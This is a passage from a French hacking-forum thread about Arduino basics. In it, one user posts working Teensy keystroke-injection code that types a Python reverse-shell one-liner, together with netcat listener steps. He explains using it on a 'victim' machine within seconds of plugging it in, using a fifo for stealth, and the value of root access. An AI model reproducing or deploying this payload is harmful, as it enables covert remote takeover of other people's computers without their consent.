• STATISTIQUES
  • Il y a eu un total de 3 membres et 3419 visiteurs sur le site dans les dernières 24h pour un total de 3 422 personnes!


    Membres: 2 604
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] µContest
    µContest est un site de challenges de programmation, c'est à dire qu'il propose des épreu...
    Hacking
    [EN] wechall
    Pour les gens n'étant pas familiers avec les sites de challenges, un site de challenges est un site propos...
    Hacking
    [FR] Zmaster
    Articles sur l'informatique, le hacking, le P2P, les divx, les astuces windows XP, les GSM, Emule, la cryptograph...
    Hacking
    [EN] Gekko
    Site de challenge présenter sous la forme d'une quête. Vous êtes un agent secret qui répond sous le nom...
    Challenges
    [EN] Listbrain Version 3
    Site proposant 66 challenges présentés dans une liste mélangée.
    Challenges
    [EN] social-engineer
    Site dédié au Social Engineering en général.
    Hacking
    [EN] Packet Storm
    Packet Storm est un site qui combine nouvelles de la sécurité informatique, téléchargemen...
    Vulnérabilités

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (1 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[Arduino] Les bases
04-06-2013, 12h28
Message : #16
Zen
Non-enregistré



 
RE: [Arduino] Les bases
Salut j'ajoute a ton poste ce pdf super interressant croyez-moi Smile
edit:https://www.dropbox.com/s/b3437b5hnjq6oq...mation.pdf
positive (0) negative (0) Répondre
04-06-2013, 12h33
Message : #17
Machin Hors ligne
Membre actif
*



Messages : 60
Sujets : 1
Points: 16
Inscription : Apr 2013
RE: [Arduino] Les bases
(04-06-2013, 12h28)Zen a écrit : Salut j'ajoute a ton poste ce pdf super interressant croyez-moi Smile
https://dl-web.dropbox.com/get/zen/51560...6b3eZWtg8w

Erreur 403, on ne peut pas le recup
+1 (0) -1 (0) Répondre
08-07-2013, 11h15 (Modification du message : 08-07-2013, 11h16 par titi951.)
Message : #18
titi951 Hors ligne
Newbie
*



Messages : 10
Sujets : 1
Points: 0
Inscription : Aug 2012
RE: [Arduino] Les bases
Ce PDF est issu d'un tutoriel du site du zéro, Zen, il me semble.
Si c'est le cas, vous pouvez le consulter sur ce site.

Sinon, je fait de la prog' Arduino depuis 1 mois, et je suis plutôt content des possibilités.
Même sans Shields.

PS : Désolé du UP.
+1 (0) -1 (0) Répondre
29-10-2013, 15h36 (Modification du message : 29-10-2013, 17h46 par JL_N_.)
Message : #19
JL_N_ Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Aug 2013
RE: [Arduino] Les bases
Je partage un code pour arduino.

J'ai programmé ceci sur un teensy 3.0 mais il est également fonctionnel pour un teensy 2.0 2.0++.

Ce code est un reverse shell (en python, mais vous pouvez l'adapter à vos besoins) http://pentestmonkey.net/cheat-sheet/she...heat-sheet.

Pour le tester :

Citation :nc -l 11000 -vvv

Changer l'ip (127.0.0.1)
Compiler
Uploader
Puis insérer le teensy dans la machine. Un shell apparait sur la machine qui était en écoute.

Code :
#define ATTACK_PAYLOAD "/bin/sh -c \"rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"127.0.0.1\\\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\"]);' <fifo|bash > fifo & \""

void setup() {
    delay(10000);
    launch_exec(ATTACK_PAYLOAD);
}

void loop() {
    
}

void launch_exec(char *cmd){
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_F2);
  Keyboard.send_now();

  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  delay(1500);
  
  Keyboard.print(cmd);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();

  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Enjoy
+1 (0) -1 (0) Répondre
29-10-2013, 16h09 (Modification du message : 29-10-2013, 16h09 par Kiwazaru.)
Message : #20
Kiwazaru Hors ligne
Padawan d'un super escargot
*



Messages : 284
Sujets : 26
Points: 139
Inscription : Mar 2012
RE: [Arduino] Les bases
JL_N_: Je comprends pas bien le but de ton code, tu pourrais expliquer un peu plus ? Smile
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
+1 (0) -1 (0) Répondre
29-10-2013, 17h27 (Modification du message : 29-10-2013, 17h38 par JL_N_.)
Message : #21
JL_N_ Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Aug 2013
RE: [Arduino] Les bases
@Reverse: Le teensy permet d'envoyer des commandes automatiquement comme si un utilisateur tapait sur son clavier. De ce fait lorsque je branche le teensy sur le pc de la victime une série de commande est envoyée automatiquement ( pratique quand tu as 10 sec seulement ).

Je t'invite a réalise cette manipulation sous linux , c'est ce qui est réalisé par le petit bout de code ci-dessus:
- Lance dans un terminal nc -l 11000 -vvv
- tape ALT + F2
- Entre ceci /bin/sh -c "rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec​t((\"127.0.0.1\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\"]);' <fifo|bash > fifo & "
- Revient dans le premier terminal et tape ls ~ (tu as un shell sur la victime, ici toi même, mais ça marche en réseau Wink )

Libre à toi de faire ce que tu veux ensuite, le top est si il a branché le teensy et qu'il était logger en tant que root Wink
A noter: que le payload est en python parce que mon collègue avait pas netcat -_-
Le "fifo" est pour la furtivité (lancement d'un process en tâche de fond). On peut imaginer pleins de techniques ici (rootkit ...)
+1 (0) -1 (0) Répondre
29-10-2013, 17h40
Message : #22
Creepy_p0ney Hors ligne
chef des poneys voodoo
*



Messages : 146
Sujets : 9
Points: 24
Inscription : Dec 2011
RE: [Arduino] Les bases
Il y avait un article similaire sur korben ya pas longtemps, une clé USB en forme de canard qui se fait passer pour un clavier http://n-pn.fr/forum/showthread.php?tid=3362
Penser que coder est coder explique-t-il la recursion ?
http://p0neyland.wordpress.com/
+1 (0) -1 (0) Répondre
29-10-2013, 18h30
Message : #23
JL_N_ Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Aug 2013
RE: [Arduino] Les bases
@Creepy_p0ney : Oui, c'est exactement sa

Pour information ça coute 29$ avec frais de port. Et ca se prend en main en 3h00 - 4h00.
http://www.pjrc.com/teensy/
+1 (0) -1 (0) Répondre
29-10-2013, 19h56
Message : #24
Kiwazaru Hors ligne
Padawan d'un super escargot
*



Messages : 284
Sujets : 26
Points: 139
Inscription : Mar 2012
RE: [Arduino] Les bases
Donc si je pige bien, tu fou ça sur un PC et ensuite tu peux y avoir accès via un autre pc sur le réseau c'est ça?
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
+1 (0) -1 (0) Répondre
29-10-2013, 20h35 (Modification du message : 30-10-2013, 18h42 par Loup.)
Message : #25
Loup Hors ligne
Membre actif
*



Messages : 85
Sujets : 8
Points: 8
Inscription : Sep 2013
RE: [Arduino] Les bases
(29-10-2013, 19h56)ReVeRse a écrit : Donc si je pige bien, tu fou ça sur un PC et ensuite tu peux y avoir accès via un autre pc sur le réseau c'est ça?
Oui c'est le principe d'un reverse shell:
http://www.asafety.fr/vuln-exploit-poc/p...ne/#Python

Après tu n'es pas obligé d'être sur le réseau local mais ça devient tout de suite plus difficile Smile (edit: ou pas)
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Domotique en Arduino/Raspberry badTasTe 16 297 10-01-2014, 01h19
Dernier message: badTasTe
  ARDUINO/Raspberry : les inventions notfound 3 142 26-03-2013, 22h13
Dernier message: -Mat-
  Arduino : buzzer et photorésistances! Dobry 1 70 12-03-2013, 17h14
Dernier message: Swissky
  Arduino : Faites briller des LEDs Dobry 3 139 14-12-2012, 17h39
Dernier message: Dobry
  Arduino : cartes électroniques Open Source artis 5 113 24-08-2011, 03h13
Dernier message: datareaver

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut